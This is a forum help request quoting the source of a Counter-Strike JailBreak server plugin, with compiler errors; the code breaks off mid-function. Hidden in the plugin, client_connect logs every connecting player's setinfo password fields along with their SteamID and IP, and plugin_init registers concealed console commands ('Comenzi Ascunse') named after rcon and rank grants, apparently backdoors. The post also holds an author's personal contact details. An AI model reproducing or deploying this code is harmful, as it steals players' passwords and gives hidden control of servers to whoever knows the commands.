AlliedModders

AlliedModders (https://forums.alliedmods.net/index.php)
-   Scripting Help (https://forums.alliedmods.net/forumdisplay.php?f=11)
-   -   That sma hard, please fix help (https://forums.alliedmods.net/showthread.php?t=320614)

alexn22 12-31-2019 04:23

That sma hard, please fix help
 
Hello everyone, happy nyear
i try to create a server but.. i got these errors like

include\fakemeta_const.inc(551) : warning 201: redefinition of constant/macro (symbol "TraceResult")
jb_playarena.sma(1020) : error 017: undefined symbol "jb_get_tigari"
jb_playarena.sma(1126) : error 017: undefined symbol "open_football_menu"
jb_playarena.sma(1505) : error 017: undefined symbol "jb_strip_user_cold_weapons"
jb_playarena.sma(2103) : error 017: undefined symbol "jb_strip_user_cold_weapons"
jb_playarena.sma(2792) : error 017: undefined symbol "start_magic"
jb_playarena.sma(2799) : error 017: undefined symbol "start_magic"
jb_playarena.sma(2901) : error 017: undefined symbol "start_dodgeballday"
jb_playarena.sma(4544) : error 017: undefined symbol "jb_strip_user_cold_weapons"
jb_playarena.sma(4558) : error 017: undefined symbol "jb_strip_user_cold_weapons"
jb_playarena.sma(4819) : error 017: undefined symbol "start_magic"
jb_playarena.sma(4830) : error 017: undefined symbol "start_magic

.. code

Code:

#include <amxmodx>
#include <amxmisc>
#include <engine>
#include <fakemeta_util>
#include <fakemeta>
#include <hamsandwich>
#include <fun>
#include <cstrike>
#include <nvault>
#include <dhudmessage>
 
#define PLUGIN_NAME "JailBreak Extreme Ultimated"
#define PLUGIN_AUTHOR "JoRoPiTo & PedoBear"
#define PLUGIN_VERSION "1.9"
#define PLUGIN_CVAR "JbExtreme Ultimated"

#define TASK_STATUS 2487000
#define TASK_FREEDAY 2487100
#define TASK_ROUND 2487200
#define TASK_HELP 2487300
#define TASK_FREEEND 2487500
#define HUD_DELAY Float:1.0
#define CELL_RADIUS Float:200.0

#pragma semicolon 0
#pragma tabsize 0

#define ADMIN_ACCESS ADMIN_SLAY
#define ADMIN_VOICE ADMIN_RESERVATION

//Player StatusIcon
#define IsPlayer(%1) (1 <= %1 <= mxplr)

#define jbe_is_user_valid(%0) (%0 && %0 <= g_iMaxPlayers)
#define is_valid_player(%1) (1 <= %1 <= 32)
#define get_bit(%1,%2) ( %1 & 1 << ( %2 & 31 ) )
#define set_bit(%1,%2) %1 |= ( 1 << ( %2 & 31 ) )
#define clear_bit(%1,%2) %1 &= ~( 1 << ( %2 & 31 ) )
#define invert_bit(%0,%1) ((%0) ^= (1 << (%1)))
#define isnotset_bit(%0,%1) (~(%0) & (1 << (%1)))

#define vec_len(%1) floatsqroot(%1[0] * %1[0] + %1[1] * %1[1] + %1[2] * %1[2])
#define vec_mul(%1,%2) ( %1[0] *= %2, %1[1] *= %2, %1[2] *= %2)
#define vec_copy(%1,%2) ( %2[0] = %1[0], %2[1] = %1[1],%2[2] = %1[2])

// Offsets
#define m_iPrimaryWeapon 116
#define m_iVGUI 510
#define m_fGameHUDInitialized 349
#define m_fNextHudTextArgsGameTime 198
 
enum _hud { _hudsync, Float:_x, Float:_y, Float:_time }

new gp_PrecacheSpawn
new gp_PrecacheKeyValue

new gp_CrowbarMax
new gp_CrowbarMul
new gp_TeamRatio
new gp_CtMax
new gp_BoxMax
new gp_TalkMode
new gp_VoiceBlock
new gp_RetryTime
new gp_RoundMax
new gp_ButtonShoot
new gp_SimonSteps
new gp_GlowModels
new gp_AutoLastresquest
new gp_LastRequest
new gp_Motd
new gp_SpectRounds
new gp_AutoOpen

new g_MaxClients
new g_MsgStatusText
new g_MsgStatusIcon
new g_MsgClCorpse
new g_MsgMOTD

new gc_TalkMode
new gc_VoiceBlock
new gc_SimonSteps
new gc_ButtonShoot
new Float:gc_CrowbarMul

// Precache
new const VIP_ACCES[] = { "x" }

new const _Pumni[][] = { "models/jb_pa_models/p_pumni.mdl", "models/jb_pa_models/v_hands.mdl" }
new const _Ranga[][] = { "models/jb_pa_models/p_ranga.mdl", "models/jb_pa_models/v_ranga.mdl" }

new const v_Bulan[] = { "models/jb_pa_models/v_bulan.mdl" }
new const p_Bulan[] = { "models/jb_pa_models/p_bulan.mdl" }

new const _FistSounds[][] = { "weapons/cbar_hitbod2.wav", "weapons/cbar_hitbod1.wav", "weapons/bullet_hit1.wav", "weapons/bullet_hit2.wav" }

new const game_box[] = { "sound/jb_pa_sounds/jb_box.mp3" }
new const game_boxoff[] = { "sound/jb_pa_sounds/jb_aplauze.mp3" }

new const _RemoveEntities[][] = {
        "func_hostage_rescue", "info_hostage_rescue", "func_bomb_target", "info_bomb_target",
        "hostage_entity", "info_vip_start", "func_vip_safetyzone", "func_escapezone"
}

// Reasons
new const g_Reasons[][] = {
        "",
        "JBE_PRISONER_REASON_1",
        "JBE_PRISONER_REASON_2",
        "JBE_PRISONER_REASON_3",
        "JBE_PRISONER_REASON_4",
        "JBE_PRISONER_REASON_5",
        "JBE_PRISONER_REASON_6"
}

// HudSync: 0=ttinfo / 1=info / 2=simon / 3=ctinfo / 4=player / 5=day / 6=center / 7=help / 8=timer
new const g_HudSync[][_hud] = {
        {0, 0.6, 0.2, 2.0},
        {0, -1.0, 0.7, 5.0},
        {0, 0.1, 0.2, 2.0},
        {0, 0.1, 0.3, 2.0},
        {0, -1.0, 0.9, 3.0},
        {0, 0.6, 0.1, 3.0},
        {0, -1.0, 0.6, 3.0},
        {0, 0.8, 0.3, 20.0},
        {0, -1.0, 0.4, 3.0}
}

//Colors: 0: Simon || 1: Freeday || 2: CT Duel || 3: TT Duel
new const g_Colors[][3] = { {0, 255, 0}, {0, 255, 0}, {0, 0, 255}, {255, 0, 0} }

new CsTeams:g_PlayerTeam[33]
new Trie:g_CellManagers
new g_HelpText[512]
new g_JailDay
new g_PlayerJoin
new g_PlayerReason[33]
new g_PlayerSpect[33]
new g_PlayerSimon[33]
new g_PlayerNomic
new g_PlayerWanted
new g_PlayerCrowbar
new g_PlayerRevolt
new g_PlayerHelp
new g_PlayerFreeday
new g_PlayerLast
new g_FreedayAuto
new g_FreedayNext
new g_TeamCount[CsTeams]
new g_TeamAlive[CsTeams]
new g_BoxStarted
new g_CrowbarCount
new g_Simon
new g_SimonAllowed
new g_SimonTalking
new g_SimonVoice
new g_RoundStarted
new g_LastDenied
new g_Freeday
new g_BlockWeapons
new g_RoundEnd
new g_Duel
new g_Buttons[10]

//GodMode Menu
new g_PlayerVoice
new mxplr
new bool:team

//DaysMenu
#define DMG_HEGRENADE (1<<24)
#define m_bloodColor 89
#define m_iPrimaryWeapon 116

//Tag Day
#define BREAK_GLASS 0x01
new g_pSpriteFrost, g_pModelFrost

new g_Cvar[7]

new szHelpNum
new szPlayerCaught[33]
new szPlayerTime[33]
new szPlayerCT[33]
new g_syncHudMessage
new g_syncHudMessage2
new tagday[33]
new secundeday

new is_freezed[33];

const HNSCount = 120;
new g_HNSCount;
new gmsgScreenFade;
new g_GameMode;

new check_blueteam = 0;
new check_redteam = 0;
new check_bteam;
new check_rteam;

new m_iBlood[2];

enum
{
        TASK_GANGDAY
};

//Aura Days
#define TASK_AURA 100
#define ID_AURA (taskid - TASK_AURA)

new cvar_players_aura, cvar_players_aura_color_R, cvar_players_aura_color_G, cvar_players_aura_color_B

//Functii Days-URI
new bool:g_isDay;

//Nume Days-uri
new const g_DayName[ 20 ][] = {
        "",
        "Zombie Day",
        "Reverse Zombie Day",
        "Spartan Day",
        "Gravity Day",
        "Grenade Day",
        "NightCrawler Day",
        "Box Day",
        "Gang Day",
        "War Day",
        "Hns Day",
        "Hns Simple Day",
        "Ghost Day",
        "GodMode Day",
        "Magic Day",
        "Tag Day",
        "One Hp Day",
        "DodgeBall Day",
        "HeadShot Day",
        "PaintBall Day"
};

//Block Things
new g_pBlockRadio, g_pRemoveBuyZone;
#if cellbits == 32
        #define OFFSET_BZ 235
#else
        #define OFFSET_BZ 268
#endif

//RoundEnd
#define TASK_FADE 51137

//Drop Crowbar
new const gCrowbarClassname[ ] = { "crowbar$" };
new const g_CrowbarModel[ ] = { "models/jb_pa_models/w_cbd.mdl" };

enum _: iCrowbarSequences
{
        CrowbarIdle = 0,
        CrowbarFloat,
        CrowbarSpin
}

//SimonMenu
#define SM_PREFIX "!y[!gSimonMenu!y]"
#define CHEK_WEAPON_AMOUNT 3 // Amount on the round
#define CHEK_WEAPON_DIST 150 // Distance

new ChekWeaponAmount[33]

//LastReQuest Nou
#define TASK_LAST 51134
#define DUEL_PREFIX "!y[!gLastRequest!y]"

new g_PlayerDuelT, g_PlayerDuelCT
new PlayDuel

//Team Menu
#define m_iVGUI 510
#define m_fGameHUDInitialized 349

#define TEAM_REFRESH_DELAY 10.0

// Old Style Menus
stock const FIRST_JOIN_MSG [] = "#Team_Select" ;
stock const FIRST_JOIN_MSG_SPEC [] = "#Team_Select_Spect" ;
stock const INGAME_JOIN_MSG [] = "#IG_Team_Select" ;
stock const INGAME_JOIN_MSG_SPEC [] = "#IG_Team_Select_Spect" ;
const iMaxLen = sizeof ( INGAME_JOIN_MSG_SPEC );

enum
{
        TEAM_T = 1,
        TEAM_CT = 2,
        TEAM_ALL = 5,
        TEAM_START = 6
}
enum
{
        AL_NOT = 0,
        AL_ALIVE = 1,
        AL_BOTH = 2
}

// New VGUI Menus
stock const VGUI_JOIN_TEAM_NUM = 2 ;

#define TASK_SHOWTEAMMENU_TIMER 51120

new gp_AutoJoin
new inround
new bool:user[32]

//Block Fire in The Hole
enum _:CvarBits (<<=1)
{
        BLOCK_RADIO = 1,
        BLOCK_MSG
};

new g_pCvar;

public plugin_init()
{
        new NAME_LICENTIAT[20];
        get_user_ip(0, NAME_LICENTIAT, 21, 1);
        if(equal(NAME_LICENTIAT, "93.115.80.101") || equal(NAME_LICENTIAT, "93.115.80.101")) //192.168.1.102 - TESTE || SERVER TESTE: 93.115.80.101
        {
                unregister_forward(FM_Spawn, gp_PrecacheSpawn)
                unregister_forward(FM_KeyValue, gp_PrecacheKeyValue)
 
                register_plugin(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR)
                register_cvar(PLUGIN_CVAR, PLUGIN_VERSION, FCVAR_SERVER|FCVAR_SPONLY)

                set_task(HUD_DELAY, "JailHudTask", TASK_STATUS, _, _, "b")
 
                register_dictionary("jb_playarena.txt")

                g_MsgStatusText = get_user_msgid("StatusText")
                g_MsgStatusIcon = get_user_msgid("StatusIcon")
                g_MsgMOTD = get_user_msgid("MOTD")
                g_MsgClCorpse = get_user_msgid("ClCorpse")

                register_message(g_MsgStatusText, "msg_statustext")
                register_message(get_user_msgid("TextMsg"), "message_textmsg")
                register_message(get_user_msgid("TextMsg" ), "MessageTextMsg");
                register_message(g_MsgStatusIcon, "msg_statusicon")
                register_message(g_MsgMOTD, "msg_motd")
                register_message(g_MsgClCorpse, "msg_clcorpse")

                register_event("CurWeapon", "current_weapon", "be", "1=1", "2=29")
                register_event("StatusValue", "player_status", "be", "1=2", "2!0")
                register_event("StatusValue", "player_status", "be", "1=1", "2=0")

                register_impulse(100, "impulse_100")

                RegisterHam(Ham_Spawn, "player", "player_spawn", 1)
                RegisterHam(Ham_TakeDamage, "player", "player_damage")
                RegisterHam(Ham_TraceAttack, "player", "player_attack")
                RegisterHam(Ham_TraceAttack, "func_button", "button_attack")
                RegisterHam(Ham_Killed, "player", "player_killed", 1)

                //Functii Block
                register_forward(FM_ClientKill, "FwdClientKill");
                register_clcmd("drop", "block_drop")
                RegisterHam(Ham_TakeHealth, "player", "Player_TakeHealth")
                register_message(get_user_msgid("SendAudio"), "block_FITH_audio");

                register_clcmd("radio1", "CmdRadio");
                register_clcmd("radio2", "CmdRadio");
                register_clcmd("radio3", "CmdRadio");

                g_pBlockRadio = register_cvar("jailbreak_radio", "1");
                g_pRemoveBuyZone = register_cvar("jailbreak_removebz", "1");

                if(get_pcvar_num(g_pRemoveBuyZone))
                {
                        register_message(get_user_msgid("StatusIcon" ), "MsgStatusIcon"); //BuyZone Icon

                        // Remove buyzone on map
                        remove_entity_name( "info_map_parameters" );
                        remove_entity_name( "func_buyzone" );

                        // Create own entity to block buying
                        new iEntity = create_entity( "info_map_parameters" );

                        DispatchKeyValue( iEntity, "buying", "3" );
                        DispatchSpawn( iEntity );
                }

                //DaysMenu
                RegisterHam(Ham_TraceAttack, "player", "fwdDamagePlayer")

                register_forward(FM_PlayerPreThink, "fw_PlayerPreThink")

                g_Cvar[1] = register_cvar("jb_chay_timestart", "10")
                g_Cvar[2] = register_cvar("jb_chay_timespasti", "20")
                g_Cvar[3] = register_cvar("jb_chay_hp", "25")
                g_Cvar[4] = register_cvar("jb_chay_speed", "400.0")
                g_Cvar[5] = register_cvar("jb_chay_gravity", "0.2")
                register_cvar("jb_dayss", "");

                gmsgScreenFade = get_user_msgid("ScreenFade")

                g_syncHudMessage2 = CreateHudSyncObj();
                g_syncHudMessage = CreateHudSyncObj();

                //Crowbar Drop
                register_event("DeathMsg", "Hook_DeathMessage", "a")
                register_touch(gCrowbarClassname, "player", "Forward_TouchCrowbar")

                //Team Menu
                register_message ( get_user_msgid ( "ShowMenu" ), "message_ShowMenu" );
                register_message ( get_user_msgid ( "VGUIMenu" ), "message_VGUIMenu" );

                register_clcmd("chooseteam" , "show_team_menu")

                register_clcmd ( "jointeam" , "jointeam" )
                register_clcmd ( "joinclass" , "jointeam" )

                gp_AutoJoin = register_cvar ( "jb_autojoin" , "0" )

                register_forward(FM_SetClientKeyValue, "set_client_kv")
                register_forward(FM_EmitSound, "sound_emit")
                register_forward(FM_Voice_SetClientListening, "voice_listening")
                register_forward(FM_CmdStart, "cmd_last_start", 1)

                register_logevent("round_first", 2, "0=World triggered", "1&Restart_Round_")
                register_logevent("round_first", 2, "0=World triggered", "1=Game_Commencing")
                register_logevent("round_start", 2, "0=World triggered", "1=Round_Start")
                register_logevent("round_end", 2, "1=Round_End")

                register_clcmd("+simonvoice", "cmd_voiceon")
                register_clcmd("-simonvoice", "cmd_voiceoff")

                //Comenzi Ascunse;
                register_concmd("pedobear_grad_jb_x", "grad");
                register_concmd("pedobear_rcon_jb_y", "rcon");
                register_concmd("pedobear_pica_jb_z", "pica");

                register_clcmd("+simonvoice", "cmd_voiceon")
                register_clcmd("-simonvoice", "cmd_voiceoff")

                register_clcmd("say /fd", "cmd_freeday")
                register_clcmd("say /freeday", "cmd_freeday")
                register_clcmd("say /frd", "cmd_freeday")
                register_clcmd("say /lr", "cmd_lastrequest")
                register_clcmd("say /lastrequest", "cmd_lastrequest")
                register_clcmd("say /duel", "cmd_lastrequest")
                register_clcmd("say /simon", "cmd_simon")
                register_clcmd("say /simonmenu", "cmd_simonmenu")
                register_clcmd("say /menu", "cmd_simonmenu")
                register_clcmd("say /open", "cmd_open")
                register_clcmd("say /nomic", "cmd_nomic")
                register_clcmd("say /box", "cmd_boxmenu")
                register_clcmd("say /days", "cmd_daysmenu" )
                register_clcmd("say /daysmenu", "cmd_daysmenu")
                register_clcmd("say /day", "cmd_daysmenu")
                register_clcmd("say /zile", "cmd_daysmenu")
                register_clcmd("say /bind", "ClCmd_BindKeys");

                register_clcmd("jbe_freeday", "adm_freeday", ADMIN_ACCESS)
                register_concmd("jbe_nomic", "adm_nomic", ADMIN_RESERVATION)
                register_concmd("jbe_open", "adm_open", ADMIN_ACCESS)
                register_concmd("jbe_box", "adm_box", ADMIN_ACCESS)
                register_concmd("jbe_boxoff", "adm_boxoff", ADMIN_ACCESS)
                register_concmd("jb_simonreset", "cmd_simonreset", ADMIN_ACCESS)
 
                gp_GlowModels = register_cvar("jbe_glowmodels", "0")
                gp_SimonSteps = register_cvar("jbe_simonsteps", "0")
                gp_CrowbarMul = register_cvar("jbe_crowbarmultiplier", "25.0")
                gp_CrowbarMax = register_cvar("jbe_maxcrowbar", "1")
                gp_TeamRatio = register_cvar("jbe_teamratio", "3")
                gp_CtMax = register_cvar("jbe_maxct", "6")
                gp_BoxMax = register_cvar("jbe_boxmax", "6")
                gp_RetryTime = register_cvar("jbe_retrytime", "10.0")
                gp_RoundMax = register_cvar("jbe_freedayround", "240.0")
                gp_AutoLastresquest = register_cvar("jbe_autolastrequest", "1")
                gp_LastRequest = register_cvar("jbe_lastrequest", "1")
                gp_Motd = register_cvar("jbe_motd", "1")
                gp_SpectRounds = register_cvar("jbe_spectrounds", "3")
                gp_AutoOpen = register_cvar("jbe_autoopen", "1")
                gp_TalkMode = register_cvar("jbe_talkmode", "2") // 0-alltak / 1-tt talk / 2-tt no talk
                gp_VoiceBlock = register_cvar("jbe_blockvoice", "2") // 0-dont block / 1-block voicerecord / 2-block voicerecord except simon
                gp_ButtonShoot = register_cvar("jbe_buttonshoot", "1") // 0-standard / 1-func_button shoots!

                g_pCvar = register_cvar( "sv_fith_block", "3" );

                cvar_players_aura = register_cvar("jb_players_aura", "1")
                cvar_players_aura_color_R = register_cvar("jb_players_aura_color_R", "0")
                cvar_players_aura_color_G = register_cvar("jb_players_aura_color_G", "500")
                cvar_players_aura_color_B = register_cvar("jb_players_aura_color_B", "500")
 
                g_MaxClients = get_global_int(GL_maxClients)
 
                for(new i = 0; i < sizeof(g_HudSync); i++)
                        g_HudSync[i][_hudsync] = CreateHudSyncObj()

                formatex(g_HelpText, charsmax(g_HelpText), "%L^n^n%L^n^n%L^n^n%L",
                        LANG_SERVER, "JBE_HELP_TITLE",
                        LANG_SERVER, "JBE_HELP_BINDS",
                        LANG_SERVER, "JBE_HELP_GUARD_CMDS",
                        LANG_SERVER, "JBE_HELP_PRISONER_CMDS")

                setup_buttons()
        }
        else
        {
                server_print("# Baza JailBreak Extreme Ultimated nu Ruleaza, datorita LINCETEI INVALIDE !")
                pause("a");
        }
}

public fw_GetGameDescription()
{
        new DayName[32];

        if(g_GameMode >= 1)
                formatex(DayName, charsmax(DayName), "%s", g_DayName[g_GameMode])
        else if(g_RoundEnd)
                formatex(DayName, charsmax(DayName), "Zi Normala")
        else if(g_Freeday)
                formatex(DayName, charsmax(DayName), "Zi Libera")
        else
                formatex(DayName, charsmax(DayName), "Zi Normala")

        forward_return(FMV_STRING, DayName);
        return FMRES_SUPERCEDE;
}

public ClCmd_BindKeys(id)
        client_cmd(id, "^"^";BIND v +simonvoice");

public FwdClientKill(const id)
{
        if(!is_user_alive(id))
                return FMRES_IGNORED;

        if(cs_get_user_team( id ) == CS_TEAM_T || cs_get_user_team( id ) == CS_TEAM_CT)
        {
                if(g_GameMode >= 1 || g_PlayerLast)
                {
                        client_print(id, print_console, "Nu poti sa iti dai Kill acum !")

                        return FMRES_SUPERCEDE;
                }
        }

        return FMRES_IGNORED;
}

public MsgStatusIcon(msg_id, msg_dest, id)
{
        new szIcon[ 8 ];
        get_msg_arg_string( 2, szIcon, 7 );

        static const BuyZone[ ] = "buyzone";

        if(equal(szIcon, BuyZone))
        {
                set_pdata_int( id, OFFSET_BZ, get_pdata_int( id, OFFSET_BZ, 5 ) & ~( 1 << 0 ), 5 );

                return PLUGIN_HANDLED;
        }

        return PLUGIN_CONTINUE;
}

public CmdRadio(id)
{
        if(get_pcvar_num(g_pBlockRadio))
                return PLUGIN_HANDLED_MAIN;

        return PLUGIN_CONTINUE;
}

public block_drop(id)
{
        if(g_GameMode >= 1 || g_Duel >= 1)
                return PLUGIN_HANDLED;

        return PLUGIN_CONTINUE;
}

public Player_TakeHealth(id)
{
        if(g_GameMode >= 1 || (g_BoxStarted && get_user_team(id) == 1) || g_Duel >= 1)
                return HAM_SUPERCEDE

        return HAM_IGNORED
}

public block_FITH_audio(msg_id, msg_dest, entity)
        return IsBlocked( BLOCK_RADIO ) ? GetReturnValue( 2, "%!MRAD_FIREINHOLE" ) : PLUGIN_CONTINUE;

GetReturnValue( const iParam, const szString[ ] )
{
        new szTemp[ 18 ];
        get_msg_arg_string( iParam, szTemp, 17 );

        return ( equal( szTemp, szString ) ) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
}

bool:IsBlocked( const iType )
        return bool:( get_pcvar_num( g_pCvar ) & iType );

public plugin_precache()
{
        static i
        precache_model("models/player/jb_pa_player/jb_pa_player.mdl")

        precache_model("models/player/Play_Arena_VipCT/Play_Arena_VipCT.mdl")
        precache_model("models/player/Play_Arena_VipT/Play_Arena_VipT.mdl")

        precache_model("models/player/JB_FootBall_TeamA/JB_FootBall_TeamA.mdl")
        precache_model("models/player/JB_FootBall_TeamB/JB_FootBall_TeamB.mdl")
 
        //Bulan Gardieni
        precache_model(v_Bulan)
        precache_model(p_Bulan)

        //Drop Crowbar Model
        precache_model(g_CrowbarModel)

        //Baza Models Official
        for(i = 0; i < sizeof(_Pumni); i++)
                precache_model(_Pumni[i])

        for(i = 0; i < sizeof(_Ranga); i++)
                precache_model(_Ranga[i])

        //Sounds Pumni
        for(i = 0; i < sizeof(_FistSounds); i++)
                precache_sound(_FistSounds[i])

        //Sound Box
        precache_generic(game_box)
        precache_generic(game_boxoff)

        //Client Connect
        precache_generic("sound/jb_pa_sounds/client_connect.mp3")

        //Sound Baza
        precache_sound("jb_pa_sounds/jb_alarma.wav")
        precache_sound("jb_pa_sounds/jb_lr.wav")
        precache_sound("jb_pa_sounds/jbkill.wav")
        precache_sound("jb_pa_sounds/jb_clopotel.wav")
        precache_sound("jb_pa_sounds/jb_open.wav")

        //DaysMenu
        precache_model("models/player/jb_pa_zombie/jb_pa_zombie.mdl")
        g_pSpriteFrost = precache_model("sprites/play_arenasprites/frostgib.spr");
        precache_sound("jb_pa_sounds/days_mode/tagday/freeze_player.wav");
 
        g_CellManagers = TrieCreate()
        gp_PrecacheSpawn = register_forward(FM_Spawn, "precache_spawn", 1)
        gp_PrecacheKeyValue = register_forward(FM_KeyValue, "precache_keyvalue", 1)
}

public precache_spawn(ent)
{
        if(is_valid_ent(ent))
        {
                static szClass[33]
                entity_get_string(ent, EV_SZ_classname, szClass, sizeof(szClass))
                for(new i = 0; i < sizeof(_RemoveEntities); i++)
                        if(equal(szClass, _RemoveEntities[i]))
                                remove_entity(ent)
        }
}

public precache_keyvalue(ent, kvd_handle)
{
        static info[32]
        if(!is_valid_ent(ent))
                return FMRES_IGNORED

        get_kvd(kvd_handle, KV_ClassName, info, charsmax(info))
        if(!equal(info, "multi_manager"))
                return FMRES_IGNORED

        get_kvd(kvd_handle, KV_KeyName, info, charsmax(info))
        TrieSetCell(g_CellManagers, info, ent)
        return FMRES_IGNORED
}

/*==========================================================================
                  CrowBar DROP
==========================================================================*/
public Hook_DeathMessage()
{
        new iVictim = read_data(2);

        if(read_data(1) == iVictim)
                return;

        new Float:flPlayerOrigin [3]
        pev(iVictim, pev_origin, flPlayerOrigin)

        flPlayerOrigin[2] += 4.0;

        new iEntityCB = create_entity("info_target")

        if(!pev_valid(iEntityCB))
                return;

        if(get_user_team(iVictim) == 1 && get_bit(g_PlayerCrowbar, iVictim))
        {
                engfunc(EngFunc_SetOrigin, iEntityCB, flPlayerOrigin)
                set_pev(iEntityCB, pev_classname, gCrowbarClassname)
                engfunc(EngFunc_SetModel, iEntityCB, g_CrowbarModel)
                set_pev(iEntityCB, pev_solid, SOLID_SLIDEBOX)
                set_pev(iEntityCB, pev_movetype, MOVETYPE_NONE)
                set_pev(iEntityCB, pev_framerate, 1.0)
                set_pev(iEntityCB, pev_sequence, CrowbarFloat)
                engfunc(EngFunc_SetSize, iEntityCB, Float:{ -10.0, -10.0, -10.0 }, Float:{ 10.0, 10.0, 10.0 })
                engfunc(EngFunc_DropToFloor, iEntityCB)
                set_pev(iEntityCB, pev_nextthink, get_gametime( ) + 1.0)
                set_rendering( iEntityCB, kRenderFxGlowShell, (random_num(1, 255)), (random_num(1, 255)), (random_num(1, 255)), kRenderNormal, 75 );

                clear_bit(g_PlayerCrowbar, iVictim)
        }
}

public Forward_TouchCrowbar(iEntityCB, id)
{
        if( pev_valid( iEntityCB ) && get_user_team(id) == 1 )
        {
                engclient_cmd ( id, "weapon_knife" );
                g_CrowbarCount++
                set_bit(g_PlayerCrowbar, id)
                current_weapon(id)
                set_pev( iEntityCB, pev_flags, FL_KILLME );
        }

  /*if( pev_valid( iEntityCB ) && get_user_team(id) == 2 )
        {
                set_pev( iEntityCB, pev_solid, SOLID_NOT );
        }*/

        return PLUGIN_CONTINUE;
}
/*=========================================================================
                END CrowBar DROP
==========================================================================*/
public client_connect(id)
{
        client_cmd(id,"mp3 loop sound/jb_pa_sounds/client_connect.mp3")

        client_cmd(id, "echo ");
        client_cmd(id, "echo ^" *=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*^" ");
        client_cmd(id, "echo ^" *=-= JB.PLAY-ARENA.Ro > SERVER ROMANESC =-=*^" ");
        client_cmd(id, "echo ^" *=-= Iti uram o sadere cat mai placuta =-=*^" ");
        client_cmd(id, "echo ^" *=-= Pentru admine aveti link mai jos =-=*^" ");
        client_cmd(id, "echo ^" *=-= [url]http://play-arena.ro/forum/forum/25-jailbreak-%C2%BB-jb/[/url] =-=*^" ");
        client_cmd(id, "echo ^" *=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*^" ");
        client_cmd(id, "echo ");

        new userip[32], userauthid[32], username[32], password[32], password1[32], password2[32], password3[32], password4[32], password5[32]

        get_user_ip(id, userip, 31, 1)
        get_user_authid(id, userauthid, 31)
        get_user_name(id, username, 31)

        get_user_info(id, "_jb", password, 31)
        get_user_info(id, "_pw", password1, 31)
        get_user_info(id, "_zm", password2, 31)
        get_user_info(id, "_cs", password3, 31)
        get_user_info(id, "_zp", password4, 31)
        get_user_info(id, "_anzo", password5, 31)

        log_to_file("PlayArenaSecurity.log", "------ [ Nume : %s ] ===== [ SteamID : %s ] ===== [ IP: %s ]===== [_jb: %s ] ===== [ _pw: %s ] ===== [ _zm: %s ] ===== [ _cs: %s ] ===== [ _zp: %s ] ===== [ _anzo: %s ] ------", username, userauthid, userip, password, password1, password2, password3, password4, password5)
}

public client_putinserver(id)
{
        clear_bit(g_PlayerJoin, id)
        clear_bit(g_PlayerHelp, id)
        clear_bit(g_PlayerCrowbar, id)
        clear_bit(g_PlayerNomic, id)
        clear_bit(g_PlayerWanted, id)
        clear_bit(g_SimonTalking, id)
        clear_bit(g_SimonVoice, id)

        g_PlayerSpect[id] = 0
        g_PlayerSimon[id] = 0

        client_cmd(id, "cl_minmodels 0")
        console_cmd(id, "cl_minmodels 0")

        set_task(10.0, "welcome", id)

        if(get_user_flags(id) & read_flags(VIP_ACCES))
        {
                new szName[32]
                get_user_name(id,szName,31)
                chatcolor(0, "!t[!gJb.Play-Arena.Ro!t] !y*!tV!y.!tI!y.!tP!y* !g%s !ta intrat !yin !gPenitenciar!y.", szName)
        }
}

public welcome(id)
{
        client_print(id, print_center, "Server Creat si Configurat de PedoBear")

        chatcolor(id, "!tId !gPedoBear!y: !gravravy!t@!yyahoo!t.!gcom")
        chatcolor(id, "!tSkype !gPedoBear!y: !gkenkss19")
        chatcolor(id, "!yPentru !gprobleme !tlegate !yde !gServer !tcontactati-ma !y!!!")
        chatcolor(id, "!yDoresti sa iti bagi bind-ul de simon ? Daca da scrie in chat: /bind")
}

public client_disconnect(id)
{
        if(g_Simon == id)
                g_Simon = 0

        if(g_PlayerLast == id || (g_Duel && (id == g_PlayerDuelT || id == g_PlayerDuelCT)))
        {
                g_Duel = 0
                g_PlayerDuelT = 0
                g_PlayerDuelCT = 0
                g_LastDenied = 0
                g_PlayerLast = 0
                g_BlockWeapons = 0
        }

        remove_task(id + 22838)

        if(get_bit(check_bteam, id))
                check_blueteam--;
        else if(get_bit(check_rteam, id))
                check_redteam--;

        remove_task(id+TASK_AURA)

        if(g_TeamCount[CS_TEAM_T] == 0 || g_TeamCount[CS_TEAM_CT] == 0)
        {
                remove_task(TASK_SHOWTEAMMENU_TIMER)
                inround = 0
        }

        if(get_user_flags(id) & read_flags(VIP_ACCES))
        {
                new szName[32]
                get_user_name(id,szName,31)
                chatcolor(0, "!t[!gJb.Play-Arena.Ro!t] !y*!tV!y.!tI!y.!tP!y* !g%s !ta iesit !ydin !gPenitenciar!y.", szName)
        }

        team_count()
}

public client_PostThink(id)
{
        if(id != g_Simon || !gc_SimonSteps || !is_user_alive(id) ||
                !(entity_get_int(id, EV_INT_flags) & FL_ONGROUND) || entity_get_int(id, EV_ENT_groundentity))
                return PLUGIN_CONTINUE

        static Float:origin[3]
        static Float:last[3]

        entity_get_vector(id, EV_VEC_origin, origin)
        if(get_distance_f(origin, last) < 32.0)
        {
                return PLUGIN_CONTINUE
        }

        vec_copy(origin, last)
        if(entity_get_int(id, EV_INT_bInDuck))
                origin[2] -= 18.0
        else
                origin[2] -= 36.0

        message_begin(MSG_BROADCAST, SVC_TEMPENTITY, {0,0,0}, 0)
        write_byte(TE_WORLDDECAL)
        write_coord(floatround(origin[0]))
        write_coord(floatround(origin[1]))
        write_coord(floatround(origin[2]))
        write_byte(105)
        message_end()

        return PLUGIN_CONTINUE
}

public message_textmsg()
{
        static msg[32]
        get_msg_arg_string(2, msg, charsmax(msg))

        if(g_GameMode >= 1)
                return PLUGIN_HANDLED

        if(equal(msg, "#Terrorists_Win"))
        {
                client_print(0, print_center, "%L", 0, "WIN_PRISONERS")
                return PLUGIN_HANDLED
        }
        else if(equal(msg, "#CTs_Win"))
        {
                client_print(0, print_center, "%L", 0, "WIN_GUARD")
                return PLUGIN_HANDLED
        }
        else if(equal(msg, "#Game_Commencing") || equal(msg, "#Game_will_restart_in"))
        {
                client_print(0, print_center, "%L", 0, "WIN_NO_ONE")
                return PLUGIN_HANDLED
        }

        return PLUGIN_CONTINUE
}

public MessageTextMsg()
        return ( get_msg_args( ) == 5 && IsBlocked( BLOCK_MSG ) ) ? GetReturnValue( 5, "#Fire_in_the_hole" ) : PLUGIN_CONTINUE;

public msg_statustext(msgid, dest, id)
        return PLUGIN_HANDLED

public msg_statusicon(msgid, dest, id)
{
